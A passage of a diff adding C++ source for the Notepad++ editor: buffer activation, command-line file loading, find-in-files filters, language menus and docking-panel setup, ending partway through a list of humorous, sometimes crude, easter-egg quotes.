_autoCompleteMain.setLanguage(buf->getLangType()); + } + else if (view == SUB_VIEW) + { + _autoCompleteSub.setLanguage(buf->getLangType()); + } + + if (view != currentView()) + return; //dont care if another view did something + + + checkDocState(); + dynamicCheckMenuAndTB(); + setLangStatus(buf->getLangType()); + updateStatusBar(); + checkUnicodeMenuItems(/*buf->getUnicodeMode()*/); + setUniModeText(); + setDisplayFormat(buf->getEolFormat()); + enableConvertMenuItems(buf->getEolFormat()); + generic_string dir(buf->getFullPathName()); + PathRemoveFileSpec(dir); + setWorkingDir(dir.c_str()); + setTitle(); + //Make sure the colors of the tab controls match + ::InvalidateRect(_mainDocTab.getHSelf(), NULL, FALSE); + ::InvalidateRect(_subDocTab.getHSelf(), NULL, FALSE); + + SCNotification scnN; + scnN.nmhdr.code = NPPN_BUFFERACTIVATED; + scnN.nmhdr.hwndFrom = _pPublicInterface->getHSelf(); + scnN.nmhdr.idFrom = (uptr_t)bufid; + _pluginsManager.notify(&scnN); + + if (_pFileSwitcherPanel) + { + _pFileSwitcherPanel->activateItem(bufid, currentView()); + } + + if (_pDocMap && (!_pDocMap->isClosed()) && _pDocMap->isVisible()) + { + _pDocMap->reloadMap(); + _pDocMap->setSyntaxHiliting(); + } + + if (_pFuncList && (!_pFuncList->isClosed()) && _pFuncList->isVisible()) + { + _pFuncList->reload(); + } + + _linkTriggered = true; +} + +void Notepad_plus::loadCommandlineParams(const TCHAR * commandLine, CmdLineParams * pCmdParams) +{ + if (!commandLine || ! pCmdParams) + return; + + NppParameters *nppParams = NppParameters::getInstance(); + FileNameStringSplitter fnss(commandLine); + + // loading file as session file is allowed only when there is only one file + if (pCmdParams->_isSessionFile && fnss.size() == 1) + { + Session session2Load; + if ((NppParameters::getInstance())->loadSession(session2Load, fnss.getFileName(0))) + { + loadSession(session2Load); + } + return; + } + + LangType lt = pCmdParams->_langType; + int ln = pCmdParams->_line2go; + int cn = pCmdParams->_column2go; + int cpos = pCmdParams->_pos2go; + bool recursive = pCmdParams->_isRecursive; + bool readOnly = pCmdParams->_isReadOnly; + + BufferID lastOpened = BUFFER_INVALID; + for (int i = 0, len = fnss.size(); i < len ; ++i) + { + const TCHAR *pFn = fnss.getFileName(i); + if (!pFn) return; + + BufferID bufID = doOpen(pFn, recursive, readOnly); + if (bufID == BUFFER_INVALID) //cannot open file + continue; + + lastOpened = bufID; + + if (lt != L_EXTERNAL && lt < nppParams->L_END) + { + Buffer * pBuf = MainFileManager->getBufferByID(bufID); + pBuf->setLangType(lt); + } + + if (ln != -1 || cpos != -1) + { //we have to move the cursor manually + int iView = currentView(); //store view since fileswitch can cause it to change + switchToFile(bufID); //switch to the file. No deferred loading, but this way we can easily move the cursor to the right position + + if (cpos != -1) + { + _pEditView->execute(SCI_GOTOPOS, cpos); + } + else + if (cn == -1) + { + _pEditView->execute(SCI_GOTOLINE, ln-1); + } + else + { + auto pos = _pEditView->execute(SCI_FINDCOLUMN, ln-1, cn-1); + _pEditView->execute(SCI_GOTOPOS, pos); + } + + _pEditView->scrollPosToCenter(_pEditView->execute(SCI_GETCURRENTPOS)); + + switchEditViewTo(iView); //restore view + } + } + if (lastOpened != BUFFER_INVALID) + { + switchToFile(lastOpened); + } +} + + +void Notepad_plus::setFindReplaceFolderFilter(const TCHAR *dir, const TCHAR *filter) +{ + generic_string fltr; + NppParameters *pNppParam = NppParameters::getInstance(); + FindHistory & findHistory = pNppParam->getFindHistory(); + + // get current directory in case it's not provided. + if (!dir && findHistory._isFolderFollowDoc) + { + dir = pNppParam->getWorkingDir(); + } + + // get current language file extensions in case it's not provided. + if (!filter && findHistory._isFilterFollowDoc) + { + // Get current language file extensions + const TCHAR *ext = NULL; + LangType lt = _pEditView->getCurrentBuffer()->getLangType(); + + if (lt == L_USER) + { + Buffer * buf = _pEditView->getCurrentBuffer(); + UserLangContainer * userLangContainer = pNppParam->getULCFromName(buf->getUserDefineLangName()); + if (userLangContainer) + ext = userLangContainer->getExtention(); + } + else + { + ext = NppParameters::getInstance()->getLangExtFromLangType(lt); + } + + if (ext && ext[0]) + { + fltr = TEXT(""); + vector vStr; + cutString(ext, vStr); + for (size_t i = 0 ,len = vStr.size(); i < len; ++i) + { + fltr += TEXT("*."); + fltr += vStr[i] + TEXT(" "); + } + } + else + { + fltr = TEXT("*.*"); + } + filter = fltr.c_str(); + } + _findReplaceDlg.setFindInFilesDirFilter(dir, filter); +} + +vector Notepad_plus::addNppComponents(const TCHAR *destDir, const TCHAR *extFilterName, const TCHAR *extFilter) +{ + FileDialog fDlg(_pPublicInterface->getHSelf(), _pPublicInterface->getHinst()); + fDlg.setExtFilter(extFilterName, extFilter, NULL); + + vector copiedFiles; + + if (stringVector *pfns = fDlg.doOpenMultiFilesDlg()) + { + // Get plugins dir + generic_string destDirName = (NppParameters::getInstance())->getNppPath(); + PathAppend(destDirName, destDir); + + if (!::PathFileExists(destDirName.c_str())) + { + ::CreateDirectory(destDirName.c_str(), NULL); + } + + destDirName += TEXT("\\"); + + size_t sz = pfns->size(); + for (size_t i = 0 ; i < sz ; ++i) + { + if (::PathFileExists(pfns->at(i).c_str())) + { + // copy to plugins directory + generic_string destName = destDirName; + destName += ::PathFindFileName(pfns->at(i).c_str()); + if (::CopyFile(pfns->at(i).c_str(), destName.c_str(), FALSE)) + copiedFiles.push_back(destName.c_str()); + } + } + } + return copiedFiles; +} + +void Notepad_plus::setWorkingDir(const TCHAR *dir) +{ + NppParameters * params = NppParameters::getInstance(); + if (params->getNppGUI()._openSaveDir == dir_last) + return; + if (params->getNppGUI()._openSaveDir == dir_userDef) + { + params->setWorkingDir(NULL); + } + else if (dir && PathIsDirectory(dir)) + { + params->setWorkingDir(dir); + } +} + +int Notepad_plus::getLangFromMenuName(const TCHAR * langName) +{ + int id = 0; + const int menuSize = 64; + TCHAR menuLangName[menuSize]; + + for ( int i = IDM_LANG_C; i <= IDM_LANG_USER; ++i ) + if ( ::GetMenuString( _mainMenuHandle, i, menuLangName, menuSize, MF_BYCOMMAND ) ) + if ( !lstrcmp( langName, menuLangName ) ) + { + id = i; + break; + } + + if ( id == 0 ) + { + for ( int i = IDM_LANG_USER + 1; i <= IDM_LANG_USER_LIMIT; ++i ) + if ( ::GetMenuString( _mainMenuHandle, i, menuLangName, menuSize, MF_BYCOMMAND ) ) + if ( !lstrcmp( langName, menuLangName ) ) + { + id = i; + break; + } + } + + return id; +} + +generic_string Notepad_plus::getLangFromMenu(const Buffer * buf) +{ + + int id; + generic_string userLangName; + const int nbChar = 32; + TCHAR menuLangName[nbChar]; + + id = (NppParameters::getInstance())->langTypeToCommandID( buf->getLangType() ); + if ( ( id != IDM_LANG_USER ) || !( buf->isUserDefineLangExt() ) ) + { + ::GetMenuString(_mainMenuHandle, id, menuLangName, nbChar-1, MF_BYCOMMAND); + userLangName = menuLangName; + } + else + { + userLangName = buf->getUserDefineLangName(); + } + return userLangName; +} + +Style * Notepad_plus::getStyleFromName(const TCHAR *styleName) +{ + StyleArray & stylers = (NppParameters::getInstance())->getMiscStylerArray(); + + int i = stylers.getStylerIndexByName(styleName); + Style * st = NULL; + if (i != -1) + { + Style & style = stylers.getStyler(i); + st = &style; + } + return st; +} + +bool Notepad_plus::noOpenedDoc() const +{ + if (_mainDocTab.isVisible() && _subDocTab.isVisible()) + return false; + if (_pDocTab->nbItem() == 1) + { + BufferID buffer = _pDocTab->getBufferByIndex(0); + Buffer * buf = MainFileManager->getBufferByID(buffer); + if (!buf->isDirty() && buf->isUntitled()) + return true; + } + return false; +} + +bool Notepad_plus::reloadLang() +{ + NppParameters *pNppParam = NppParameters::getInstance(); + + if (!pNppParam->reloadLang()) + { + return false; + } + + TiXmlDocumentA *nativeLangDocRootA = pNppParam->getNativeLangA(); + if (!nativeLangDocRootA) + { + return false; + } + + _nativeLangSpeaker.init(nativeLangDocRootA, true); + + pNppParam->reloadContextMenuFromXmlTree(_mainMenuHandle, _pluginsManager.getMenuHandle()); + + generic_string pluginsTrans, windowTrans; + _nativeLangSpeaker.changeMenuLang(_mainMenuHandle, pluginsTrans, windowTrans); + ::DrawMenuBar(_pPublicInterface->getHSelf()); + + int indexWindow = ::GetMenuItemCount(_mainMenuHandle) - 3; + + if (_pluginsManager.hasPlugins() && pluginsTrans != TEXT("")) + { + ::ModifyMenu(_mainMenuHandle, indexWindow - 1, MF_BYPOSITION, 0, pluginsTrans.c_str()); + } + + if (windowTrans != TEXT("")) + { + ::ModifyMenu(_mainMenuHandle, indexWindow, MF_BYPOSITION, 0, windowTrans.c_str()); + windowTrans += TEXT("..."); + ::ModifyMenu(_mainMenuHandle, IDM_WINDOW_WINDOWS, MF_BYCOMMAND, IDM_WINDOW_WINDOWS, windowTrans.c_str()); + } + // Update scintilla context menu strings + vector & tmp = pNppParam->getContextMenuItems(); + size_t len = tmp.size(); + TCHAR menuName[64]; + for (size_t i = 0 ; i < len ; ++i) + { + if (tmp[i]._itemName == TEXT("")) + { + ::GetMenuString(_mainMenuHandle, tmp[i]._cmdID, menuName, 64, MF_BYCOMMAND); + tmp[i]._itemName = purgeMenuItemString(menuName); + } + } + + vector & shortcuts = pNppParam->getUserShortcuts(); + len = shortcuts.size(); + + for (size_t i = 0; i < len; ++i) + { + CommandShortcut & csc = shortcuts[i]; + ::GetMenuString(_mainMenuHandle, csc.getID(), menuName, 64, MF_BYCOMMAND); + csc.setName(purgeMenuItemString(menuName, true).c_str()); + } + _accelerator.updateFullMenu(); + + _scintaccelerator.updateKeys(); + + + if (_tabPopupMenu.isCreated()) + { + _nativeLangSpeaker.changeLangTabContextMenu(_tabPopupMenu.getMenuHandle()); + } + if (_tabPopupDropMenu.isCreated()) + { + _nativeLangSpeaker.changeLangTabDrapContextMenu(_tabPopupDropMenu.getMenuHandle()); + } + if (_fileSwitcherMultiFilePopupMenu.isCreated()) + { + //_nativeLangSpeaker.changeLangTabDrapContextMenu(_fileSwitcherMultiFilePopupMenu.getMenuHandle()); + } + if (_preference.isCreated()) + { + _nativeLangSpeaker.changePrefereceDlgLang(_preference); + } + + if (_configStyleDlg.isCreated()) + { + _nativeLangSpeaker.changeConfigLang(_configStyleDlg.getHSelf()); + } + + if (_findReplaceDlg.isCreated()) + { + _nativeLangSpeaker.changeFindReplaceDlgLang(_findReplaceDlg); + } + + if (_goToLineDlg.isCreated()) + { + _nativeLangSpeaker.changeDlgLang(_goToLineDlg.getHSelf(), "GoToLine"); + } + + if (_runDlg.isCreated()) + { + _nativeLangSpeaker.changeDlgLang(_runDlg.getHSelf(), "Run"); + } + + if (_md5FromFilesDlg.isCreated()) + { + _nativeLangSpeaker.changeDlgLang(_md5FromFilesDlg.getHSelf(), "MD5FromFilesDlg"); + } + + if (_md5FromTextDlg.isCreated()) + { + _nativeLangSpeaker.changeDlgLang(_md5FromTextDlg.getHSelf(), "MD5FromTextDlg"); + } + + if (_runMacroDlg.isCreated()) + { + _nativeLangSpeaker.changeDlgLang(_runMacroDlg.getHSelf(), "MultiMacro"); + } + + if (_findCharsInRangeDlg.isCreated()) + { + _nativeLangSpeaker.changeDlgLang(_findCharsInRangeDlg.getHSelf(), "FindCharsInRange"); + } + + if (_colEditorDlg.isCreated()) + { + _nativeLangSpeaker.changeDlgLang(_colEditorDlg.getHSelf(), "ColumnEditor"); + } + + UserDefineDialog *udd = _pEditView->getUserDefineDlg(); + if (udd->isCreated()) + { + _nativeLangSpeaker.changeUserDefineLang(udd); + } + + _lastRecentFileList.setLangEncoding(_nativeLangSpeaker.getLangEncoding()); + return true; +} + + +void Notepad_plus::launchClipboardHistoryPanel() +{ + if (!_pClipboardHistoryPanel) + { + _pClipboardHistoryPanel = new ClipboardHistoryPanel(); + + _pClipboardHistoryPanel->init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf(), &_pEditView); + + tTbData data = {0}; + _pClipboardHistoryPanel->create(&data); + + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_MODELESSDIALOG, MODELESSDIALOGREMOVE, reinterpret_cast(_pClipboardHistoryPanel->getHSelf())); + // define the default docking behaviour + data.uMask = DWS_DF_CONT_RIGHT | DWS_ICONTAB; + data.hIconTab = (HICON)::LoadImage(_pPublicInterface->getHinst(), MAKEINTRESOURCE(IDR_CLIPBOARDPANEL_ICO), IMAGE_ICON, 14, 14, LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT); + data.pszModuleName = NPP_INTERNAL_FUCTION_STR; + + // the dlgDlg should be the index of funcItem where the current function pointer is + // in this case is DOCKABLE_DEMO_INDEX + // In the case of Notepad++ internal function, it'll be the command ID which triggers this dialog + data.dlgID = IDM_EDIT_CLIPBOARDHISTORY_PANEL; + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string title_temp = pNativeSpeaker->getAttrNameStr(CH_PROJECTPANELTITLE, "ClipboardHistory", "PanelTitle"); + static TCHAR title[32]; + if (title_temp.length() < 32) + { + lstrcpy(title, title_temp.c_str()); + data.pszName = title; + } + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_DMMREGASDCKDLG, 0, reinterpret_cast(&data)); + + COLORREF fgColor = (NppParameters::getInstance())->getCurrentDefaultFgColor(); + COLORREF bgColor = (NppParameters::getInstance())->getCurrentDefaultBgColor(); + + _pClipboardHistoryPanel->setBackgroundColor(bgColor); + _pClipboardHistoryPanel->setForegroundColor(fgColor); + } + + _pClipboardHistoryPanel->display(); +} + + +void Notepad_plus::launchFileSwitcherPanel() +{ + if (!_pFileSwitcherPanel) + { + _pFileSwitcherPanel = new VerticalFileSwitcher; + HIMAGELIST hImgLst = _docTabIconList.getHandle(); + _pFileSwitcherPanel->init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf(), hImgLst); + + tTbData data = {0}; + _pFileSwitcherPanel->create(&data); + + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_MODELESSDIALOG, MODELESSDIALOGREMOVE, reinterpret_cast(_pFileSwitcherPanel->getHSelf())); + // define the default docking behaviour + data.uMask = DWS_DF_CONT_LEFT | DWS_ICONTAB; + data.hIconTab = (HICON)::LoadImage(_pPublicInterface->getHinst(), MAKEINTRESOURCE(IDR_DOCSWITCHER_ICO), IMAGE_ICON, 14, 14, LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT); + data.pszModuleName = NPP_INTERNAL_FUCTION_STR; + + // the dlgDlg should be the index of funcItem where the current function pointer is + // in this case is DOCKABLE_DEMO_INDEX + // In the case of Notepad++ internal function, it'll be the command ID which triggers this dialog + data.dlgID = IDM_VIEW_FILESWITCHER_PANEL; + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string title_temp = pNativeSpeaker->getAttrNameStr(FS_PROJECTPANELTITLE, "DocSwitcher", "PanelTitle"); + static TCHAR title[32]; + if (title_temp.length() < 32) + { + lstrcpy(title, title_temp.c_str()); + data.pszName = title; + } + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_DMMREGASDCKDLG, 0, reinterpret_cast(&data)); + + COLORREF fgColor = (NppParameters::getInstance())->getCurrentDefaultFgColor(); + COLORREF bgColor = (NppParameters::getInstance())->getCurrentDefaultBgColor(); + + _pFileSwitcherPanel->setBackgroundColor(bgColor); + _pFileSwitcherPanel->setForegroundColor(fgColor); + } + _pFileSwitcherPanel->display(); +} + + +void Notepad_plus::launchAnsiCharPanel() +{ + if (!_pAnsiCharPanel) + { + _pAnsiCharPanel = new AnsiCharPanel(); + _pAnsiCharPanel->init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf(), &_pEditView); + + tTbData data = {0}; + _pAnsiCharPanel->create(&data); + + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_MODELESSDIALOG, MODELESSDIALOGREMOVE, reinterpret_cast(_pAnsiCharPanel->getHSelf())); + // define the default docking behaviour + data.uMask = DWS_DF_CONT_RIGHT | DWS_ICONTAB; + data.hIconTab = (HICON)::LoadImage(_pPublicInterface->getHinst(), MAKEINTRESOURCE(IDR_ASCIIPANEL_ICO), IMAGE_ICON, 14, 14, LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT); + data.pszModuleName = NPP_INTERNAL_FUCTION_STR; + + // the dlgDlg should be the index of funcItem where the current function pointer is + // in this case is DOCKABLE_DEMO_INDEX + // In the case of Notepad++ internal function, it'll be the command ID which triggers this dialog + data.dlgID = IDM_EDIT_CHAR_PANEL; + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string title_temp = pNativeSpeaker->getAttrNameStr(AI_PROJECTPANELTITLE, "AsciiInsertion", "PanelTitle"); + static TCHAR title[32]; + if (title_temp.length() < 32) + { + lstrcpy(title, title_temp.c_str()); + data.pszName = title; + } + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_DMMREGASDCKDLG, 0, reinterpret_cast(&data)); + + COLORREF fgColor = (NppParameters::getInstance())->getCurrentDefaultFgColor(); + COLORREF bgColor = (NppParameters::getInstance())->getCurrentDefaultBgColor(); + + _pAnsiCharPanel->setBackgroundColor(bgColor); + _pAnsiCharPanel->setForegroundColor(fgColor); + } + + _pAnsiCharPanel->display(); +} + +void Notepad_plus::launchFileBrowser(const vector & folders) +{ + if (!_pFileBrowser) + { + _pFileBrowser = new FileBrowser; + _pFileBrowser->init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf()); + + tTbData data; + memset(&data, 0, sizeof(data)); + _pFileBrowser->create(&data); + data.pszName = TEXT("ST"); + + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_MODELESSDIALOG, MODELESSDIALOGREMOVE, reinterpret_cast(_pFileBrowser->getHSelf())); + // define the default docking behaviour + data.uMask = DWS_DF_CONT_LEFT | DWS_ICONTAB; + data.hIconTab = (HICON)::LoadImage(_pPublicInterface->getHinst(), MAKEINTRESOURCE(IDR_FILEBROWSER_ICO), IMAGE_ICON, 14, 14, LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT); + data.pszModuleName = NPP_INTERNAL_FUCTION_STR; + + // the dlgDlg should be the index of funcItem where the current function pointer is + // in this case is DOCKABLE_DEMO_INDEX + // In the case of Notepad++ internal function, it'll be the command ID which triggers this dialog + data.dlgID = IDM_VIEW_FILEBROWSER; + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string title_temp = pNativeSpeaker->getAttrNameStr(FB_PANELTITLE, "FileBrowser", "PanelTitle"); + + static TCHAR title[32]; + if (title_temp.length() < 32) + { + lstrcpy(title, title_temp.c_str()); + data.pszName = title; + } + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_DMMREGASDCKDLG, 0, reinterpret_cast(&data)); + + COLORREF fgColor = (NppParameters::getInstance())->getCurrentDefaultFgColor(); + COLORREF bgColor = (NppParameters::getInstance())->getCurrentDefaultBgColor(); + + _pFileBrowser->setBackgroundColor(bgColor); + _pFileBrowser->setForegroundColor(fgColor); + } + + for (size_t i = 0; i addRootFolder(folders[i]); + } + + _pFileBrowser->display(); + + checkMenuItem(IDM_VIEW_FILEBROWSER, true); + _toolBar.setCheck(IDM_VIEW_FILEBROWSER, true); + _pFileBrowser->setClosed(false); +} + + +void Notepad_plus::launchProjectPanel(int cmdID, ProjectPanel ** pProjPanel, int panelID) +{ + if (!(*pProjPanel)) + { + NppParameters *pNppParam = NppParameters::getInstance(); + + (*pProjPanel) = new ProjectPanel; + (*pProjPanel)->init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf()); + (*pProjPanel)->setWorkSpaceFilePath(pNppParam->getWorkSpaceFilePath(panelID)); + + tTbData data; + memset(&data, 0, sizeof(data)); + (*pProjPanel)->create(&data); + data.pszName = TEXT("ST"); + + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_MODELESSDIALOG, MODELESSDIALOGREMOVE, reinterpret_cast((*pProjPanel)->getHSelf())); + // define the default docking behaviour + data.uMask = DWS_DF_CONT_LEFT | DWS_ICONTAB; + data.hIconTab = (HICON)::LoadImage(_pPublicInterface->getHinst(), MAKEINTRESOURCE(IDR_PROJECTPANEL_ICO), IMAGE_ICON, 14, 14, LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT); + data.pszModuleName = NPP_INTERNAL_FUCTION_STR; + + // the dlgDlg should be the index of funcItem where the current function pointer is + // in this case is DOCKABLE_DEMO_INDEX + // In the case of Notepad++ internal function, it'll be the command ID which triggers this dialog + data.dlgID = cmdID; + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string title_temp = pNativeSpeaker->getAttrNameStr(PM_PROJECTPANELTITLE, "ProjectManager", "PanelTitle"); + + static TCHAR title[32]; + if (title_temp.length() < 32) + { + lstrcpy(title, title_temp.c_str()); + data.pszName = title; + } + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_DMMREGASDCKDLG, 0, reinterpret_cast(&data)); + + COLORREF fgColor = (NppParameters::getInstance())->getCurrentDefaultFgColor(); + COLORREF bgColor = (NppParameters::getInstance())->getCurrentDefaultBgColor(); + + (*pProjPanel)->setBackgroundColor(bgColor); + (*pProjPanel)->setForegroundColor(fgColor); + } + (*pProjPanel)->display(); +} + + +void Notepad_plus::launchDocMap() +{ + if (!(NppParameters::getInstance())->isTransparentAvailable()) + { + ::MessageBox(NULL, TEXT("It seems you still use a prehistoric system, This feature works only on a modern system, sorry."), TEXT(""), MB_OK); + return; + } + + if (!_pDocMap) + { + _pDocMap = new DocumentMap(); + _pDocMap->init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf(), &_pEditView); + + tTbData data = {0}; + _pDocMap->create(&data); + + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_MODELESSDIALOG, MODELESSDIALOGREMOVE, reinterpret_cast(_pDocMap->getHSelf())); + // define the default docking behaviour + data.uMask = DWS_DF_CONT_RIGHT | DWS_ICONTAB; + data.hIconTab = (HICON)::LoadImage(_pPublicInterface->getHinst(), MAKEINTRESOURCE(IDR_DOCMAP_ICO), IMAGE_ICON, 14, 14, LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT); + data.pszModuleName = NPP_INTERNAL_FUCTION_STR; + + // the dlgDlg should be the index of funcItem where the current function pointer is + // in this case is DOCKABLE_DEMO_INDEX + // In the case of Notepad++ internal function, it'll be the command ID which triggers this dialog + data.dlgID = IDM_VIEW_DOC_MAP; + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string title_temp = pNativeSpeaker->getAttrNameStr(DM_PANELTITLE, "DocumentMap", "PanelTitle"); + static TCHAR title[32]; + if (title_temp.length() < 32) + { + lstrcpy(title, title_temp.c_str()); + data.pszName = title; + } + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_DMMREGASDCKDLG, 0, reinterpret_cast(&data)); + } + + _pDocMap->initWrapMap(); + _pDocMap->wrapMap(); + _pDocMap->display(); + + _pEditView->getFocus(); +} + + +void Notepad_plus::launchFunctionList() +{ + if (!_pFuncList) + { + _pFuncList = new FunctionListPanel(); + _pFuncList->init(_pPublicInterface->getHinst(), _pPublicInterface->getHSelf(), &_pEditView); + + tTbData data = {0}; + _pFuncList->create(&data); + + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_MODELESSDIALOG, MODELESSDIALOGREMOVE, reinterpret_cast(_pFuncList->getHSelf())); + // define the default docking behaviour + data.uMask = DWS_DF_CONT_RIGHT | DWS_ICONTAB; + data.hIconTab = (HICON)::LoadImage(_pPublicInterface->getHinst(), MAKEINTRESOURCE(IDR_FUNC_LIST_ICO), IMAGE_ICON, 14, 14, LR_LOADMAP3DCOLORS | LR_LOADTRANSPARENT); + data.pszModuleName = NPP_INTERNAL_FUCTION_STR; + + // the dlgDlg should be the index of funcItem where the current function pointer is + // in this case is DOCKABLE_DEMO_INDEX + // In the case of Notepad++ internal function, it'll be the command ID which triggers this dialog + data.dlgID = IDM_VIEW_FUNC_LIST; + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string title_temp = pNativeSpeaker->getAttrNameStr(FL_PANELTITLE, "FunctionList", "PanelTitle"); + + static TCHAR title[32]; + if (title_temp.length() < 32) + { + lstrcpy(title, title_temp.c_str()); + data.pszName = title; + } + + ::SendMessage(_pPublicInterface->getHSelf(), NPPM_DMMREGASDCKDLG, 0, reinterpret_cast(&data)); + COLORREF fgColor = (NppParameters::getInstance())->getCurrentDefaultFgColor(); + COLORREF bgColor = (NppParameters::getInstance())->getCurrentDefaultBgColor(); + + _pFuncList->setBackgroundColor(bgColor); + _pFuncList->setForegroundColor(fgColor); + } + + _pFuncList->display(); + _pFuncList->reload(); + + _pEditView->getFocus(); +} + + + + + + +struct TextPlayerParams +{ + HWND _nppHandle; + ScintillaEditView *_pCurrentView; + const char *_text2display; + const char *_quoter; + bool _shouldBeTrolling; +}; + +struct TextTrollerParams +{ + ScintillaEditView *_pCurrentView; + const char *_text2display; + BufferID _targetBufID; + HANDLE _mutex; +}; + +struct Quote +{ + const char *_quoter; + const char *_quote; +}; + + + +const int nbQuote = 203; +Quote quotes[nbQuote] = +{ + {"Notepad++", "I hate reading other people's code.\nSo I wrote mine, made it as open source project, and see others suffer."}, + {"Notepad++ #2", "Good programmers use Notepad++ to code.\nExtreme programmers use MS Word to code, in Comic Sans, center aligned."}, + {"Notepad++ #3", "The best things in life are free.\nNotepad++ is free.\nSo Notepad++ is the best.\n"}, + {"Richard Stallman", "If I'm the Father of Open Source, it was conceived through artificial insemination using stolen sperm without my knowledge or consent."}, + {"Martin Golding", "Always code as if the guy who ends up maintaining your code will be a violent psychopath who knows where you live."}, + {"L. Peter Deutsch", "To iterate is human, to recurse divine."}, + {"Seymour Cray", "The trouble with programmers is that you can never tell what a programmer is doing until it's too late."}, + {"Brian Kernighan", "Debugging is twice as hard as writing the code in the first place. Therefore, if you write the code as cleverly as possible, you are, by definition, not smart enough to debug it."}, + {"Alan Kay", "Most software today is very much like an Egyptian pyramid with millions of bricks piled on top of each other, with no structural integrity, but just done by brute force and thousands of slaves."}, + {"Bill Gates", "Measuring programming progress by lines of code is like measuring aircraft building progress by weight."}, + {"Christopher Thompson", "Sometimes it pays to stay in bed on Monday, rather than spending the rest of the week debugging Monday's code."}, + {"Vidiu Platon", "I don't care if it works on your machine! We are not shipping your machine!"}, + {"Edward V Berard", "Walking on water and developing software from a specification are easy if both are frozen."}, + {"pixadel", "Fine, Java MIGHT be a good example of what a programming language should be like. But Java applications are good examples of what applications SHOULDN'T be like."}, + {"Oktal", "I think Microsoft named .Net so it wouldn't show up in a Unix directory listing."}, + {"Bjarne Stroustrup", "In C++ it's harder to shoot yourself in the foot, but when you do, you blow off your whole leg."}, + {"Mosher's Law of Software Engineering", "Don't worry if it doesn't work right. If everything did, you'd be out of a job."}, + {"Bob Gray", "Writing in C or C++ is like running a chain saw with all the safety guards removed."}, + {"Roberto Waltman", "In the one and only true way. The object-oriented version of \"Spaghetti code\" is, of course, \"Lasagna code\". (Too many layers)"}, + {"Gavin Russell Baker", "C++ : Where friends have access to your private members."}, + {"Linus Torvalds", "Software is like sex: It's better when it's free."}, + {"Cult of vi", "Emacs is a great operating system, lacking only a decent editor."}, + {"Church of Emacs", "vi has two modes - \"beep repeatedly\" and \"break everything\"."}, + {"Steve Jobs", "Picasso had a saying: \"Good artists copy, great artists steal.\".\nWe have always been shameless about stealing great ideas."}, + {"brotips #1001", "Do everything for greatness, not money. Money follows greatness."}, + {"Robin Williams", "God gave men both a penis and a brain, but unfortunately not enough blood supply to run both at the same time."}, + {"Darth Vader", "Strong people don't put others down.\nThey lift them up." }, + {"Darth Vader #2", "You don't get to 500 million star systems without making a few enemies."}, + {"Doug Linder", "A good programmer is someone who always looks both ways before crossing a one-way street."}, + {"Jean-Claude van Damme", "A cookie has no soul, it's just a cookie. But before it was milk and eggs.\nAnd in eggs there's the potential for life."}, + {"Michael Feldman", "Java is, in many ways, C++--."}, + {"Don Ho", "Je mange donc je chie."}, + {"Don Ho #2", "RTFM is the true path of every developer.\nBut it would happen only if there's no way out."}, + {"Don Ho #3", "Smartphone is the best invention of 21st century for avoiding the eyes contact while crossing people you know on the street."}, + {"Don Ho #4", "Poor countries' museums vs. rich countries' museums:\nThe first show what they have left.\nThe second show what they have stolen."}, + {"Anonymous #1", "An opinion without 3.14 is just an onion."}, + {"Anonymous #2", "Before sex, you help each other get naked, after sex you only dress yourself.\nMoral of the story: in life no one helps you once you're fucked."}, + {"Anonymous #3", "I'm not totally useless. I can be used as a bad example."}, + {"Anonymous #4", "Life is too short to remove USB safely."}, + {"Anonymous #5", "\"SEX\" is not the answer.\nSex is the question, \"YES\" is the answer."}, + {"Anonymous #6", "Going to Mc Donald's for a salad is like going to a whore for a hug."}, + {"Anonymous #7", "I need a six month holiday, TWICE A YEAR!"}, + {"Anonymous #8", "Everything is a knife if you're strong enough."}, + {"Anonymous #9", "I'M A FUCKING ANIMAL IN BED.\nMore specifically a koala."}, + {"Anonymous #10", "Roses are red,\nViolets are red,\nTulips are red,\nBushes are red,\nTrees are red,\nHOLY SHIT MY\nGARDEN'S ON FIRE!!"}, + {"Anonymous #11", "We stopped checking for monsters under our bed, when we realized they were inside us."}, + {"Anonymous #12", "I would rather check my facebook than face my checkbook."}, + {"Anonymous #13", "Whoever says Paper beats Rock is an idiot. Next time I see someone say that I will throw a rock at them while they hold up a sheet of paper."}, + {"Anonymous #14", "A better world is where chickens can cross the road without having their motives questioned."}, + {"Anonymous #15", "If I didn't drink, how would my friends know I love them at 2 AM?"}, + {"Anonymous #16", "Q: How do you generate a random string?\nA: Put a Windows user in front of vi, and tell him to exit."}, + {"Anonymous #17", "Pros and cons of making food.\nPros: food\nCons : making\n"}, + 